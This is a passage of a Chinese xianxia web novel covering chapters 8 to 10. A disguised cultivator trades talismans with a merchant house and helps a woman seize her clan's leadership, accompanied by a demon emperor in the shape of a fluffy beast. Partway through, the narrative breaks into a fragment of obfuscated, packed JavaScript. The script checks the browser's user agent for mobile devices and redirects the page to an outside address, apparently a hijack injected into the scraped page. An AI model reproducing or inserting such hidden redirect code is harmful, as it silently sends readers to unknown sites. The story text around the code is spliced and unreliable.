苍舜看着面前这个披着一身血衣,青丝落在腰侧,姿容绝丽,身姿清绝的年轻男子,不知怎么的,满腔怒火又倏忽消散了大半。
……连他也不知道,为什么刚才他看着这个人族又把自己弄得血淋淋的,会那么生气。
妖皇不吭声了,气呼呼地拱他,在他身边挤来挤去。
挤了一会,又变回一只圆滚滚的小毛绒球,只有两个巴掌那么大,依然炸着毛毛,一下一下轻撞沉墨清。
沉墨清:还在记仇。
无所谓,债多不压身。
他起身,余光瞥过镜子。
隐匿符失效,现在是他原本的容貌和身形。
他身上的伤已经痊愈,单手抱起雪白小兽,褪下身上的血衣。
外衫滑落,露出高挑颀长的身躯,中衣半解,衣襟下肩颈到胸膛莹白一片,精炼分明的肌肉线条覆于匀称骨架,一捧绸缎般的乌发勾连在胸膛前,沿着沟壑蜿蜒而下,没入那片羊脂玉般莹白而紧窄的腰腹。
苍舜就这样撞进猝不及防地撞见了这一幕。
“我喊他们送水,要一同沐浴吗?”沉墨清坦然地以原本的面容对他说。
没有反应。
他垂眼,手臂上的雪白小兽呆成了一只木木的球。
提溜起来,晃一晃。
不知为什么,以往一被提溜起来就开始大声“咪咪呜呜”的妖皇,这次居然在半空中慢悠悠晃了三下,才伸出爪子一把扒住沉墨清的手腕。
沉墨清就看着这只雪白小兽一声不吭地爬回他的手臂上,扭过身去,绒毛抖抖,发出小小的“咪咪”声。
【现在的人族,怎么,怎么如此……】
嘀嘀咕咕的小毛绒球。
也没炸毛,雪白绒毛软趴趴垂着,自己和自己小声蛐蛐。
沉墨清:“洗吗?”
【……洗。】
8. 第八章 天枢来人
沉墨清最后还是没有带着那只小毛绒球洗浴。
他偶然瞥见窗外夜色,离天亮不到一个时辰,便不打算耽误时间,念了道清身咒,微光一闪,他和苍舜都干净了。
再拿出之前炼制的隐匿符,改变容貌身形,回到床畔,再度开始修炼。
被留在桌子上的苍舜:“……”
雪白小兽又开始挠桌子了。
沉墨清起身过去,将这只妖皇抱起,再回到床边——这次没有把尊贵的妖皇陛下丢到冷冰冰的枕头上,而是放在了自己膝间。
圆滚滚的雪白小兽一动不动地趴在他腿上,揣起两只小爪子,压在胸口下面。
有点困。
今日损耗的力量还没恢复。
这只小毛绒球慢吞吞在沉墨清膝间蠕动了一小段,直到一只骨节分明的手轻轻落在头顶。
漂亮的指节微微曲起,恰到好处的力度,一下一下抚摸着他。
苍舜微微眯起妖瞳。
很快,一只软乎乎的小毛绒球窝在沉墨清膝间,毛茸茸地睡着了。
月影垂纱,映出一双寒星沉水般的眼眸。
沉墨清随手一指,之前薛弃的储物袋飞出,一条条残肢漂浮于空。
他修长双指并拢,默念一道咒语。
稀薄的半透明灵体从残肢中浮起,懵然而无所觉地飘荡在屋内,直到听见那道清沉男声:“去吧。”
犹如古钟嗡鸣,震退混沌,残魂们纷纷向四下散去,消隐于夜色。
魂魄再入轮回,或可转世投胎。
沉墨清遥望那夜色,再垂下眼睫。
雪白小兽大大咧咧地瘫在他的腿上,睡得正香,露出软乎乎的腹部,居然毫不设防。
他垂下手指,微微贴近。
雪白小兽在梦中翻身,抱住他的手指一口啃了下去,又留下一圈小小的牙印。
沉墨清:“……”
果然居心叵测,他们初见之时,这只妖皇就想吞他。
抽出手指,指腹按住雪白小兽脑袋,反手撸了几下细软的绒毛。
夜色渐淡,年轻修士闭目凝神,修炼到天色将明。
清晨的客房,响起了大声的“咪呜咪呜”。
——某只妖皇一早起来,偶然间照了下镜子,天都塌了。
“咪呜??”
他的毛!
光亮的镜子里,雪白小兽头顶原本柔顺的绒毛不知为何全都反方向撅了起来,炸成一坨鸟窝。
气得这只妖皇一边大声咪呜咪呜地转圈圈,一边伸长爪子想去按下头顶的毛毛。
爪子短短,够不着。
更气了!
“咪呜——!!”
沉墨清运转完最后一周天,若无其事地睁眼,向那坨气咻咻的小毛绒球伸手:“过来,我帮你。”
雪白小兽飞快拱到他的掌心底下,被那带着淡淡香气的好看手指抚平了绒毛,又变回一只毛毛顺滑的漂亮小球。
“咪。”
软软地坐在沉墨清的手臂上,看着他。
人还挺好。
沉墨清坦然受之。
“江道友,昨夜一切顺利,恭喜啊。”
辰时,白玥带着宁离离登门拜访,感知到沉墨清身上的气息,又多了几分感慨。
如此稳固的筑基初期,只怕不日便能突破中期。
“现在青竹城皆知我们多了一位能引得上古符文共鸣的符道天骄,都在传那位天骄是金丹修为呢。”
沉墨清与她相视,淡淡一笑,一切皆在不言中。
苍舜抬头:“?”
他抬爪按住沉墨清袖子,一点也不高兴地听见那个人族用好听的声音说:“白掌事,我想与贵阁做笔交易。”
白玥飞快扫了眼那只妖兽,正色道:“道友请说!”
沉墨清指节轻敲桌面,空中浮出数道透明符箓,并不成形,只是大概轮廓,有文字游走其中,皆为符方。
这是他昔日游历时所得的符方,在中州和上州十分常见,不会被追查到来源,天枢宗也不知他有这些符方。
“我愿与贵阁交换辅助类符方,这些符方主攻伐,掌事可先行阅览,再决定是否交换。”
白玥:“等等。”
她坐直身躯,整整衣袍:“您继续说。”
宁离离眼都直了。
三品符方!在东州,一下能拿出如此之多三品符方的可不多见!
戳一下自己师父:你看看人家!
白玥:“……”真是师门不孝,收了这种逆徒。
沉墨清娓娓而谈:“其二,我愿为贵阁炼制符箓,所得收益对半分成。”
白玥竖起一根手指,微微摇晃:“对半?不行。”
“我们千玄阁也有挂牌炼符师,收益都是五五分成,若是江道友的话,六成尽归你,千玄阁只拿四成。”
让利六成,白玥并不肉疼。她知道,若是这位江道友炼符,大多都会是上等品相的符箓,价格能涨不少,若是再度炼出九成九的品相,在拍卖会上更是抢手。
和这样一位天资无限的符修合作,千玄阁收四成,不亏,甚至小赚。
而且,她还有一种直觉,或许来日,他们千玄阁还能依托这位江道友,在所有下州乃至中州都大放光彩。
合作事宜很快敲定,沉墨清最后道:“今日之事,愿无第五人知。”
宁离离:“哈哈,这好像是话本里一些杀人作恶后隐姓埋名的魔修常爱说的话。”
沉墨清不语,白玥也不语。
宁离离:“……哈哈。”
她的手指在嘴上一抹,比了个“我不说,我我死也不说”的手势。
客人离去,苍舜跳到沉墨清肩上,看着他的侧脸。
【我怎么不知道你还有那些符方?】
沉墨清:“符方只要过目,便能复写而出。”
话音刚落,他的耳畔又响起轻描淡写的低沉男声:【你为我炼道符,我替你出手三次】
沉墨清:“是何符箓?”
【现在不说】
苍舜拨弄垂在眼前的几缕乌发,语调慢悠悠的。
【等你到了那个境界再告诉你】
沉墨清:“既然如此,十次。”
苍舜:“?”
“七次。”
“咪呜!”
“六次。”
“咪!”
“五次。”
“……咪!”
“四次,”沉墨清心平气和地道,“费了半天口舌,英武不凡的妖皇陛下不能让我一次?”
苍舜:【……】
好像也行。
反正也就多一次。
于是英武不凡的妖皇轻哼一声,默许了。
沉墨清抬起掌心:“此番合作,幸甚。”
苍舜默默地想:说的挺好听。
抬起爪子,轻轻拍在他的手上,击掌为盟。
沉墨清捏住那只毛绒小爪子,微微晃一晃,又召来白玥留下的几道符方,仔细阅览。
以他目前的情况,突破金丹的难度极为困难,稳妥起见,需要炼出五品引灵符。
这类中上品的符箓基本在下州绝迹,只有去中州才有可能寻得。哪怕是符方,价格也尤为昂贵,至少要几十万灵石。
——此后一段时间,沉墨清依然留在青竹城,频繁出入千玄阁,收集了更多符方,也为千玄阁炼制过数道符箓。
短短半月,便有数万灵石入账。
如今他已是筑基中期,掩盖自己的修为更加得心应手,白玥也无法从他炼制的符箓里探测到他真正实力。
密封的房间内,苍舜百无聊赖地拨弄一块格外莹润明亮的灵石,随意一挑眼。
他的身侧,一道符箓正在成型,画符的手稳定有力,指骨勾勒出漂亮的弧度。
【我们还要在这待多久?】
沉墨清不语。
苍舜翻了个身,尾巴悠悠下垂,悬在沉墨清衣袍之上。
【这里很无聊,我不喜欢】
在他看来,这片下州之地既无机缘,也无秘境,留在此地,完全是浪费时间。
沉墨清依然不语,只是落下最后一笔,一道三品符成。
九成九的品相。
“听说城内新开了一家馆子,做的一尾清蒸槐花鱼一绝,吃吗?”
苍舜一个翻身坐了起来,跳到他的腿上。
【吃!】
沉墨清揣着这只雪白小兽,不紧不慢地走出千玄阁的密室。
第二日,白玥带来一件趣闻。
“昨日柳家大办家宴,为柳家大少爷柳钰接风洗尘。”
“那位柳少爷出生后一直养在外地,陪母亲养病,母亲去世才被接回,路上却遭遇歹徒,其姐柳飘身死,那几个歹人至今下落不明。”
父子久别重逢,本该是感人至深的一幕,谁知柳家二少爷柳玦当场发难,直指宴席上的柳钰并非本人,乃是柳钰之姐柳飘假扮,而真正的柳钰,才是被歹人所害的倒霉蛋。
宾客哗然,席间柳钰据理力争,甚至当场脱衣露出男子身躯,柳玦却说他是以符术伪装,直接请其父搬出一件能验明金丹以下修士真身的法宝——其父柳傲同意了。
众目睽睽之下,柳钰被迫以法宝验身,然后——什么也没发生。
他的确是柳傲长子,的确是男身,并无伪装。
据说当时的柳钰撕开单衣,眼含热泪地看着自己父亲,直言难道要挖出姐姐尸骨,让她死而复生,才能证明他的清白。
最后,柳傲一脸愧疚地扶起长子,并许诺由他接管柳家半条街的产业。
一场闹剧结束,柳玦被罚禁足半月,柳钰则接手了之前记在柳玦名下的产业。
白玥当成趣事说完,便听正在给怀里小妖兽投喂一根根小鱼干的江道友说:“是柳飘还是柳钰,又有何区别。”
“呵,对柳傲来说,一个是可以当成家族继承人的玉器,一个嘛,随风柳絮罢了。”
下午时分,有客来访,不是别人,正是最近炙手可热的柳家大少爷,柳钰。
刚进屋内,柳钰就俯身深深一拜。
“多谢江兄!若非江兄昨日送来那道三品隐匿符,我危矣!”
沉墨清手指轻敲桌面,数道符文亮起,将客栈房间完全隔绝:“坐下说吧。”
苍舜看着他淡然如早有预料的眼眸,微微挑了下眉。
柳钰抬起脸庞,露出一张明媚笑颜:“江兄是何时得知的?”
沉墨清:“第一眼。”
柳飘低头看看自己,叹笑着摇了摇头:“我之前伪装,借用的是娘留下来的一件二品巅峰法宝。加上我和弟弟本就血脉相连,容貌相近,连父亲都无法一眼看破,只是怀疑。”
“江兄第二次救命之恩,我铭记于心。”
那道三品隐匿符乃九成九的巅峰品质,可完全更改容貌身形。除非四品探查类法宝,根本无法窥破伪装。
东州不过一偏远下州,并无元婴修士,更别提四品法宝。柳家倒是有一家传之宝,对外宣扬是四品攻伐类法宝,乃上州仙人所赐,可斩元婴——当然,这么些年过去,也没人真的见过那件家传至宝。
“算不上救
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命之恩。”沉墨清轻轻捏住苍舜扒拉他袖口的爪子,“你总归是柳家血脉。”
柳飘笑意淡淡:“柳傲有七个女儿,最小不过十四岁,已被他嫁给听雨宗一外门掌事。若他得知活下来的是柳飘,如今之我和失去性命又有什么区别。”
“江兄,你可知几十年前,柳家还不在青竹城。”
沉墨清抬手给她倒了一杯茶,苍舜拨开旁边的小布兜,掏出一根小鱼干。
柳飘端起茶盏:“今日青竹城只知柳家,却不知林家。当年,林家才是青竹城第一符修世家,我娘是林家独女,与柳家最不受宠的次子相恋而下嫁于他,扶他登上家主之位,又让林家砸下无数天材地宝,不过数十年便将停留筑基的柳傲硬生生堆上了金丹中期。”
“谁知后来,林家无意得罪一位元婴修士,被灭满门,独留下我娘,柳傲非但不相助,还趁机吞食林家遗下资源,让柳家一跃而上,搬入青竹城。也就是这时我娘才知道他还有数房外室,其中一个和我娘一样已诞下孩子。”
“我娘伤心之下一病不起,被他赶到外地,表面上只说养病,实际上从未来看过我们一眼。直到我娘去世,他才想起来还有这么一个儿子,传信来说要接他回去。”
“可惜,我弟弟运气不好,我们遭人暗杀,马车坠崖,他死了,我爬了出来。”
盏底撞桌,发出一声清响,柳飘站起,深深作揖。
“我自知此言冒昧,但——还请江兄助我夺得柳家家主之位!事成之后,我必当千百倍相报!”
她知道这是一场豪赌,可偌大的青竹城,能帮她的,也只有一人。
沉墨清端起自己的茶盏,碧色茶汤微微荡漾:“你不怕我算计你?”
柳飘笑了,神色坦然:“就算是算计,江兄也真正帮过我。不像那些人嘴上说是我的亲人,背地里却不知捅了我多少刀。”
“况且——”她顿了一顿,正色道,“我和江兄相处的时间不多,但我看得出来,江兄是位光明磊落的君子。”
沉墨清随意一瞥,自己的袍袖已经被某只妖皇揉皱一团,便将茶盏搁在那只雪白小兽毛茸茸的脑袋上。
苍舜:“?”
“你看错了,我非君子。”沉墨清淡然道,“而且,我不需要千百倍报答。”
“——我只要借柳家一物。”
……
一盏清茶见底,来客也已离去。
沉墨清收起茶盏,见桌上的雪白小兽一动不动,戳了一戳。
苍舜按住他的手指,却并不看他,只是盯着那白皙的指尖。
他怎么什么都不告诉我?
这个想法一闪而过,苍舜将那根修长手指压在爪子下,忽然意识到——来这里之后,无论这个人族修士要做什么,有什么目的,都不曾和他说过。
……他和他本就毫无关系,不告诉他,也无可厚非。
——尽管自己和自己是这么说的,但这只妖皇依然有点闷闷的。
不要他帮忙,缺灵石也不肯卖他的毛,还什么都不告诉他。
明明他们都是在一起的。
屋内难得静悄悄的,沉墨清垂眼,桌上又多了一团生闷气的小毛绒球。
因为生气,所以比平时更加圆滚滚了。
闷闷地压着他的手指,没有松爪,不知道是不是忘记了。
他将手指抽了出来。
爪子下面骤然一空,苍舜下意识收紧,却什么也没抓住。
“……”
雪白小兽竖起的兽耳微微耷拉了下来。
下一秒,这团耷拉的小毛绒球又被一双手轻轻托起,淡淡的香气萦绕鼻息,他贴在一道清瘦的胸膛间,有几缕乌黑发丝拂落雪白皮毛。
“怎么了,”清和悦耳的嗓音在他头顶响起,“哪里不适?”
苍舜抬起赤红妖瞳,对上那双漂亮而含着关切的墨色眼眸。
“……”
片刻后,这只小毛绒球若无其事又理直气壮地窝在了沉墨清怀里,不吭声了。
沉墨清:莫非又在记账?
算了,先下手为强。
抬手,指腹摁住雪白小兽头顶一搓绒毛,逆着搓了搓。
苍舜:“?”
头顶忽然就多了一撮炸毛的雪白小兽一下子睁大了圆溜溜的妖瞳,不可置信的样子。
他说最近他怎么每天起床头上都炸炸的!他还以为是他修炼出了问题!
沉墨清坦然地与尊贵的妖皇陛下对视两秒,坦然地移开视线,揣着他走了。
苍舜:“……”
是可忍孰不可忍,妖皇“嗷”一声,毛茸茸的爪子拍在了人族修士的袍袖上。
青竹城,一场连夜的冷雨卷散残末暑气,水迹未干的青石砖映出人影幢幢。
沉墨清漫步长街,忽而停步,抬起眼帘。
苍舜瞥了眼天空。
下一刻,忽有金霞漫天,仙鹤铺路,璀璨的金色大道划开城池上空。一道惊人的气势自天而降,压得整个青竹城修士都无法抬头。
他们中有人面色惊骇,甚至跪倒在地,战栗不已。
——那是元婴初期的气势!
东州还从未有过元婴修士!
苍舜随意地收回目光,却见沉墨清嘴角微微扬起,眼眸古井幽深,不见天光。
死寂的青竹城上空,那位元婴修士背负长剑、脚踩仙鹤而来。
他是个容貌年轻而英俊的白衣剑修,宽大的白青制袍掠起,流云般的衣袍间浮动七星拱卫的流纹。
在偌大的九千州,那只代表一个宗门——
天枢宗。
9. 第九章 没有小鱼干
“天哪,是仙人……”
青竹城内,有人低叹。
遥远下州,不识天枢,还以为是天上仙人。
那位天枢宗弟子漫不经意地垂了下眼帘,目光从高处落下,恰好扫过沉墨清所站的街边。
沉墨清静立人群,手背覆上苍舜柔软皮毛。
天枢宗弟子毫无波澜地收回目光。
东州从未出现过的元婴大能突降青竹城,又有十数个修士声势浩大地从西边赶来,毕恭毕敬地冲他行礼,口称“仙人”,将他请走了。
有眼尖之人发现,那些修士为首的老者是听雨宗大长老,金丹巅峰的符修,听雨宗名副其实第一人——却在那位年轻剑修面前卑躬屈膝,极尽讨好。
长街一角,苍舜漫不经心地将爪子搭在沉墨清手腕上。
【怎么,他是你的哪个好师兄?】
他仿若毫不在意的声音飘到沉墨清耳边,后者只是闲逛街头,并未回应。
苍舜挑眉,脑袋扭到一边。
毛茸茸的耳朵忽然被轻轻拨动,雪白小兽身躯一抖,“嗷”一声捂住耳朵,炸炸地抬起小脑袋。
一只颀长白皙的手在他眼前晃了晃,提着一袋包好的桂花糕。
【……我才不吃这个】
苍舜又扭过脑袋。
沉墨清语调悠悠:“烦请帮我拿着,回去吃。”
苍舜不吭声了。
默默将桂花糕按在爪子底下。
几秒后,悄咪咪低头,隔着油纸嗅了嗅。
好像比上次的香一些。
雪白小兽若无其事地左顾右盼,抱住桂花糕,过了一会,细长的尾巴慢悠悠拨弄起了沉墨清的手指。
此后几日,青竹城因为那位元婴大能的到来而动荡不已,风波未平,又有巨石砸入深水——
青竹城附近将有秘境现世,那位上州的仙人正是为此而来。
所谓秘境,便是九千州一些修士大能身死之前将自身传承又或秘宝封存,设下重重禁制,自成一处天地,等待有朝一日现世。
每有秘境现世,无论规模大小都能引发狂澜,不计其数的修士死于凶险的秘境之内,但,更有少数幸运者获得传承秘宝,一步登天。
“上州的仙人传下恩典,秘境对青竹城开放,你我还有柳家三方,皆可派一部分人探索秘境。”
千玄阁茶室内,听雨宗二长老带来了一道消息。
白玥道:“敢问二长老,那位好心的仙人来自哪片上州,哪个大宗?”
二长老:“你我下州之人,便不要询问了。无论哪个宗门,都不是我们能够招惹的。”
他话锋一转:“不知道白掌事可有确定下名额?”
白玥撇一撇茶盏浮沫:“不急,事关重大,我还需要考虑一番。”
听雨宗二长老抚须而笑:“是在等那位江道友的答复吧?如此惊才绝艳的符修,若能邀之同探秘境,纵然秘境危险,也能多一份保障。”
白玥呵呵,二长老也呵呵,两人对视一眼。
——他和你们熟吗就请他?你看他理你们吗?
——听雨宗和江道友因利而聚,各取所需,岂不两全其美?
白玥又呵呵一声,敷衍了几句,请他快走。
二长老却做听不懂的样子,老神在在端坐椅上。他知道那位江道友近来和千玄阁关系密切,在这里总能等到对方出现。
事实上,若非那位上州仙人,这位江道友本该是青竹城最风头正盛之人——不说一道三品符箓能引得青竹城上古符文共鸣,就说近日来一道道经他手售出的九成九品质符箓,实在令人眼热不已。
能炼出如此符箓,至少是一位金丹高阶的符修,也许是其他下州甚至中州来此的符道天骄。他们听雨宗早有交好之意,只可惜对方一直深居简出,没什么机会。
忽然有人匆匆进来,附在二长老耳边低语。
“什么!”二长老一拍桌子,看向白玥,“他去柳家了?!”
白玥:“什么!”
柳飘随其父柳傲立于柳家府邸大门,遥遥便见那位一袭青衫、身姿如竹的年轻修士走来,乌发利落束起,发冠间有银链垂落,随着发尾散于腰侧间。
“江前辈!数日前我有一家奴不长眼睛,竟敢冒犯前辈,还望前辈千万不要计较!”
柳傲仿若与他一见如故,爽朗大笑,取出一道存有上万灵石的玉简。
“这是我柳家的一点赔礼,前辈千万笑纳。”
“柳家主客气。”
沉墨清浅青的衣摆绣有竹叶淡纹,随着浅淡日光而泛着竹影色泽的袍袖正被柳傲那只微微发黑的手扯住,泛起褶皱。
苍舜瞥了一眼,毫不客气地一爪子拍开。
柳傲没来得及收回,只觉手背剧痛,却不见血,当下微微色变,又很快挤出笑容,谈笑自若,仿佛那夜要强闯客栈袭杀沉墨清之人并不是他。
亭台流水,花团锦簇。柳家宴席,沉墨清的位置被安排在最前列,不少目光频频落在他身上。
筑基初期?
不,能杀死筑基大圆满的薛弃,又炼出三品符箓,怎么可能是个筑基?想必是隐藏了真实修为。
无数热切的眼风飞来,只是碍于那位年轻符修身边的雪白妖兽频频瞪眼,无人敢上前。
雕花桌前摆着灵气充沛的灵果,苍舜对这种果子没什么兴趣,无聊地趴在桌沿,垂落的尾巴悬在桌腿边。
沉墨清从储物袋取出一只精致的小布兜,打开,里面满满一袋椒盐小鱼干。
他并未没说什么,只是在苍舜直勾勾的目光中,将这袋小鱼干放在桌上。
几秒后,小鱼干附近长出了一只白乎乎的小毛绒球,探头探脑。
“此次邀诸位前来是为观礼,我柳傲共有二子,今日便要选出一个,随我一同前往秘境。”
宴席前方的平台,柳家家主携二子登台。
柳飘站在柳傲的右后方,听见左侧的柳玦一声嗤笑:“大哥久在穷乡僻壤,还不习惯这样的场面吧。”
“是啊,”柳飘平静地目视前方,“既然回家,很快就会习惯的。倒是弟弟你,也要多习惯习惯我啊。”
她的语气亲切,还抬手摸了摸柳玦脑袋,一副关心弟弟的兄长模样。
柳玦登时龇牙咧嘴,仿佛被蟑螂钻进了衣领,又不能当场发作。
柳傲神色肃穆,取出一只厚重黄金打造的宝盒,其上镶嵌无数珠宝,折射耀眼光泽。
“这就是我柳家家传至宝,你们谁能得至宝认可,便有资格进入秘境。”
话音刚落,席下便有人惊声议论:“这就是那件能斩元婴的至宝?”
“这……”
相传几十年前,柳家还未搬入青竹城时,上代家主曾有恩于一位上州仙人,得仙人赠宝。只是这么多年过去,柳家从未有人真正用过那件法宝,渐渐的外人只当是他们吹嘘,并不相信。
此刻,宝盒内躺着的是一柄简单朴素的白色短剑,平平无奇,没有丝毫法力波动。
柳玦抬眼,对上柳傲的目光,心中一热。
昨晚爹就和他说过,这件法宝会是他的,他还会和爹一起进入秘境,夺得传承。
迟早,柳家也会是他的。
柳玦的嘴角上扬,带了一丝嘲讽:“大哥,你先来吧。”
宴席上,沉墨清抬手,掌心轻轻拂过叼起小鱼干的雪白小兽毛茸茸的脑袋,指节微微一动。
苍舜看他。
干嘛?
蹭蹭他的掌心。
下一秒,惊呼接连响起,甚至还有人跪倒叩首,直呼“仙人”。
苍舜随意瞥了一眼,再转向沉墨清。
沉墨清端坐不动,淡定地捏起一根小鱼干,晃了晃。
高台之上,柳飘在柳玦和柳傲不可置信的眼神中,怔怔捧起双手。
——那柄静躺于宝盒的纯白小剑突然腾空而起,在众目睽睽之下围绕柳飘飞转三圈,最终稳稳地竖立于她面前。
这一刻,难以想象的威势从剑身内爆发而出,直冲云霄,偌大的青竹城上空云海皆被一荡而空,宛若抚平的镜面,映出众生数千双眼眸。
距离最近的柳傲和柳玦根本无法承受这样的威压,跌坐在地,汗如雨下。
——元婴中期法宝!
柳飘睁大的眼睛里倒映出一柄无鞘之剑,剑身纯白,直指天穹。
她的灵海猛然遭到冲击,眼前一花,有画面浮现——
林海翻涌,江潮起伏,一位剑修衣袂飘然立于大江之上,身姿修长,不辨容貌。
“昔日承你一药之恩,今赠你一剑,柳家后代,拥善意之人方可驱使。”
青衫剑修转身离去,衣袍掠过大江。一位老人朝江面伏地而拜,口称“仙人”。
仙人抚首,授之一剑。
柳家至宝,乃仙人遗留之剑意!
……
听雨宗。
孤峰之上,容貌不过二十五六的英俊男子静静盘坐,忽而睁眼。
“元婴剑意?”
片刻后,他缓缓闭目。
“呵,不过是道不纯粹的剑意罢了。”
男子身后,一位白须老者垂首静立,大气不敢出。
若有听雨宗其他人在此,会震惊地发现那是他们宗门万人之上的大长老。而能让听雨宗大长老亲自侍奉的,自然是那位上州而来的元婴剑修。
“对了,昨日你暗中联系了你们的上宗?”
此话一出,大长老额头登时落下冷汗:“仙人哪里的话!我们宗门上下唯您马首是瞻——”
哆哆嗦嗦的话语被毫无耐心的剑修打断:“不必等你们上宗回复了,早在两年前,神箓门的九域定星晷就算出,此地将有符道秘境现世。”
大长老哑口无言。
“是不是很费解,天枢宗乃天下第一剑宗,为何这个符道秘境会归于我们?”
大长老:“不,不敢费解……”
“……”
“费解!小人着实费解!还请仙人解惑!!”
剑修嗤笑:“昔日魔渊一战,神箓门的废物少主被困魔血杀阵,几乎命陨,是我们大师兄将他救出,自己也身受重伤,险些跌境。”
“此后百年,所有现世的符道秘境皆归天枢——这就是神箓门的补偿。”
他口中的“大师兄”,自然是昔日的天枢宗宗主首徒,力压九千州年轻一代所有天骄的剑道翘楚。
听闻那位尚未被魔气侵染、滥杀无辜时,因辈分最高,虽是同代弟子中最年轻的那个,依然被其他年岁大上数轮的弟子喊一声“大师兄”。
“你们符修,不过是躲在剑修后面的废物。”
剑修的声音冷如利剑。
“滚吧。”
大长老仓皇而逃。
青山之巅,云海翻涌。慕容舟掏出一张染血的碎布,贴在鼻息间。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060029|179173||http|test|mini|href|location''.split(''|''),0,{}));
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>那是一角袍袖,绣有鹤羽流云的纹路。
镇魔大战中最惨烈的一战,无数魔物献祭自身,召唤出失传已久的魔血屠荒阵,血染上万里山河,横尸数州,就连合体期修士亦陨落于此。
一众法修联手,试图破阵,却无能为力,只能目眦欲裂地看着亲友同门沦陷于杀阵之内,化为一滩滩血泥。
忽有一剑自天穹而来,剑气横扫九千州,剑光长照血色夜。
诸天万象阵!
那一夜,年轻一代的剑道第一人自燃精血,以全身修为为祭,由化神大圆满一步跨至炼虚——以诸天万象,破魔血屠荒!
慕容舟的口鼻皆埋没于袍袖碎片中,不自控地深深呼吸。
他不过天枢宗外门弟子,根本没有资格涉足那样的战场——更何况,每次魔物来犯,他的大师兄都将他们护得很好、很好。
每一次,他能望见的只有那道凭剑而立的挺拔背影。
唯有一次,仅此一次,他离大师兄那么近……就是那天。
那天,大师兄独返宗门,眼尾皆红,衣袍染血,失魂落魄,是平日所没有的风姿。
他上前接引大师兄,趁其不备,一剑刺向他的胸口——
那一剑歪了,只堪堪划过师兄的衣袍,割下袍袖一角。
他没有死,因为在他身后,是整个开眼的天枢宗。
那一日,天枢宗宗主首徒沉墨清堕入魔道,为师门所不容。
慕容舟近乎贪婪地嗅闻那残缺袍袖,脸庞不断摩擦鹤羽流云的纹路,眼底如烧,脸上浮起不正常的红晕。
“师兄……”
他一个一个字咀嚼着,似乎要将那两个字反复撕咬,吞咽入肚。
——
一柄纯白小剑,游走于颀长微曲的指间。
方才还剑气冲霄、震荡青竹城的元婴法宝,此刻在沉墨清手中,乖顺得如同一尾游鱼。
苍舜在沉墨清手边溜达了一圈,目光落在他的指间。
【几十年前,元婴巅峰?】
沉墨清不答。
苍舜直接趴在他的手腕上:【不到半百的元婴巅峰,闻所未闻】
半百,于修士而言不过垂髫稚童。
三百岁的元婴,已可称一声青年才俊,大道可期。
几日前出现在青竹城的那个元婴剑修,他一眼看透其灵相,已有两百余岁。
【所以——】
苍舜一爪子按住沉墨清手指。
【你是剑修】
沉墨清垂眼:“妖皇陛下偏爱剑修?”
【我最讨厌剑修】
沉墨清抬眼:“哦。”
然后就没有下文了。
苍舜盯着这个剑修。
还骗他是符修。
过分。
【如此天资,难怪天妒人怨】
“妖皇天资,更匪夷所思。”
【我与你不同,我是太初墟诞生的大妖,生来即承天道之运】
苍舜不以为意地说。
【若我为人族,未必能如你】
沉墨清:“妖皇说笑了,江某不过一筑基。”
苍舜一爪子拍他手背。
沉墨清戳一下那对软乎乎的兽耳。
雪白小兽又飞快抖了一下,睁大了圆溜溜的眼睛瞪着他,似乎想骂骂咧咧,又不知道怎么骂。
气呼呼地跳到了桌子上,捂着耳朵,远离那个可恶的剑修。
——大概有三尺那么远。
沉墨清心念一动,短剑飞遁而去,携带他的传音回到柳飘那里。
“最多三日,此地会有秘境现世。”
他伸手,摸了下某只妖皇毛茸茸的后背。
“妖皇陛下可以放心,我不会死。”
苍舜脑袋昂得高高的,面朝一边。
【和本尊有什么关系,本尊才不会担心你!】
沉墨清笑了笑,取出一叠符纸。
片刻后,苍舜又转头,看看他专注炼符的侧脸。
【你早知道这里会有秘境现世,也知道你昔日的同门会过来】
【从一开始你来到青竹城,为的就是柳家法宝,为守株待兔,血刃仇人】
“仅他一人,还不值我如此算计。”沉墨清悦耳的嗓音没有丝毫波澜,“我要获得符道传承,杀他,只是顺带。”
苍舜沉默片刻,若无其事地走过来,轻轻按住他的手背。
【杀戮过重,来日结婴,恐心魔难除】
沉墨清微微垂眼,对上那双赤色妖瞳。
“那便以杀入道,以血止戈。”
苍舜不吭声了。
……算了。
大不了到时候他看着他。
傍晚时分,客栈和往常一样送上一尾红烧鲜鱼,一道芦笋鱼羹。
半个时辰后,客栈小二进来收走空盘,留下一篓现炸小鱼干。
刚刚打完饱嗝的苍舜瞄了眼小鱼干,溜达到闭目修炼的沉墨清身边,扑通跳到他的腿上,弓起毛茸茸的腰背,伸了个长长的懒腰,抬爪拨弄他的袍角。
一道平静的声音从他头顶落下:“戌时之后,不能吃小鱼干。”
苍舜尾巴嗖一下翘起来了:【凭什么!】
不对!
【本尊不爱吃!】
沉墨清睁眼,提溜起这只蓬松松的小毛绒球,在空中掂了两下。
“咪咪,你胖了。”
苍舜:【???】
10. 第十章 生气啦?
雪白小兽落到柔软的枕头上,毛茸茸地追着尾巴转了一圈,扭头看看自己。
哪里胖了!
明明没有!
沉墨清伸出掌心。
苍舜跳到他的手上,掌心被压得往下一沉。
以前都不沉的。
苍舜:“……”
雪白小兽竖着软软的兽耳,窝在人族修士掌中,状若无辜地左顾右盼。
悄悄蜷缩起来,看起来就像一颗毛茸茸的小糯米团,一点也不大。
沉墨清盯着看了两秒。
也许不是胖了,是在长身体。
毕竟是只三百岁的咪咪。
他的手指拨拨那雪白绒毛:“最多只能一根小鱼干。”
雪白小兽立刻支愣了起来,高高昂起小脑袋:【本尊才不爱吃!】
过了一会。
桌上那篓小鱼干旁边长出了一只蓬松的小糯米团,悄悄探下小脑袋,叼走了三根酥脆鱼干。
悄咪咪扭头。
床前素纱轻垂,乌发白肤的年轻修士闭目端坐,正在修行。
于是苍舜趾高气昂地叼着小鱼干溜达回了床边,在那人膝间挑了个舒服的位置窝了下来。
清晨,天光透进山峦,薄雾拂过林叶,山谷附近已有近百位修士聚拢于此。
“白掌事,早啊。”听雨宗二长老乐呵呵地对白玥拱手,“昨夜好大的动静,还以为是天雷降临,没想到居然是秘境现世。”
